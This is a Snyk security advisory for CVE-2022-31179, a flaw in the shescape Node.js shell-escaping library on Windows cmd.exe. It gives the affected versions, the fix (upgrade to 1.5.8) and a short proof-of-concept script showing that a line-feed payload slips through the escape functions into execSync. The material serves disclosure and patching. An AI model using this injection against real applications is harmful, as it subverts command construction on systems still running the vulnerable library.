Remote Code Execution (RCE) Affecting shescape package, versions <1.5.8
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.27% (69th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-SHESCAPE-2952703
- published 17 Jul 2022
- disclosed 15 Jul 2022
- credit Unknown
Introduced: 15 Jul 2022
CVE-2022-31179 Open this link in a new tabHow to fix?
Upgrade shescape
to version 1.5.8 or higher.
Overview
shescape is a simple shell escape library
Affected versions of this package are vulnerable to Remote Code Execution (RCE) on Windows, when processing cmd.exe
commands. An attacker can cause all arguments following their input to be ignored by including a line feed character ('\n'
) in the input.
PoC:
import cp from "node:child_process";
import * as shescape from "shescape";
// 1. Prerequisites
const options = {
shell: "cmd.exe",
};
// 2. Attack
const payload = "attacker\n";
// 3. Usage
let escapedPayload;
escapedPayload = shescape.escape(payload, options);
// Or
escapedPayload = shescape.escapeAll([payload], options)[0];
// Or
escapedPayload = shescape.quote(payload, options);
// Or
escapedPayload = shescape.quoteAll([payload], options)[0];
cp.execSync(`echo Hello ${escapedPayload}! How are you doing?`, options);
// Outputs: "Hello attacker"
CVSS Scores
version 3.1